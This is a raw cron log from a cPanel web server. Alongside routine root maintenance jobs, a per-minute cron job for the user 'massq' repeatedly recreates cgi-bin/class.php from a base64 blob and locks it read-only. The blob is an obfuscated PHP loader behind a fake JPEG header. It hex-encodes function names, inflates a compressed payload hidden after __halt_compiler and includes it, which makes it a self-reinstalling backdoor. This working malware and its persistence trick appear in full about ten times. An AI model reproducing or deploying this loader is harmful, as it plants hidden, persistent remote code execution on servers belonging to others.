Sep 12 07:41:01 server CROND[3353]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 07:42:01 server CROND[3727]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 07:42:01 server CROND[3728]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 12 07:42:01 server CROND[3729]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 07:42:01 server CROND[3730]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 07:43:01 server CROND[4122]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 07:43:01 server CROND[4123]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 07:43:01 server CROND[4124]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 07:44:01 server CROND[4602]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 07:44:01 server CROND[4603]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 07:44:01 server CROND[4604]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 07:45:01 server CROND[4987]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 07:45:01 server CROND[4989]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 07:45:01 server CROND[4993]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 07:45:01 server CROND[4994]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 07:45:01 server CROND[4997]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 07:45:01 server CROND[4995]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 07:45:01 server CROND[4998]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 07:46:01 server CROND[5811]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 07:46:01 server CROND[5813]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 07:46:01 server CROND[5812]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 07:47:01 server CROND[6197]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 07:47:01 server CROND[6198]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 07:47:01 server CROND[6199]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 07:48:01 server CROND[6591]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 07:48:01 server CROND[6592]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 07:48:01 server CROND[6593]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 07:49:01 server CROND[7083]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 07:49:01 server CROND[7084]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 07:49:01 server CROND[7085]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 07:50:01 server CROND[7731]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 07:50:01 server CROND[7732]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 07:50:01 server CROND[7730]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 07:50:01 server CROND[7733]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 07:50:01 server CROND[7734]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 07:50:01 server CROND[7735]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 12 07:50:01 server CROND[7738]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 07:50:01 server CROND[7744]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 07:50:01 server CROND[7737]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 07:51:01 server CROND[8680]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 07:51:01 server CROND[8681]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 07:51:01 server CROND[8682]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 07:52:01 server CROND[9065]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 07:52:01 server CROND[9064]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 07:52:01 server CROND[9070]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 07:53:01 server CROND[9445]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 07:53:01 server CROND[9447]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 07:53:01 server CROND[9446]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 07:54:01 server CROND[9930]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 07:54:01 server CROND[9929]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
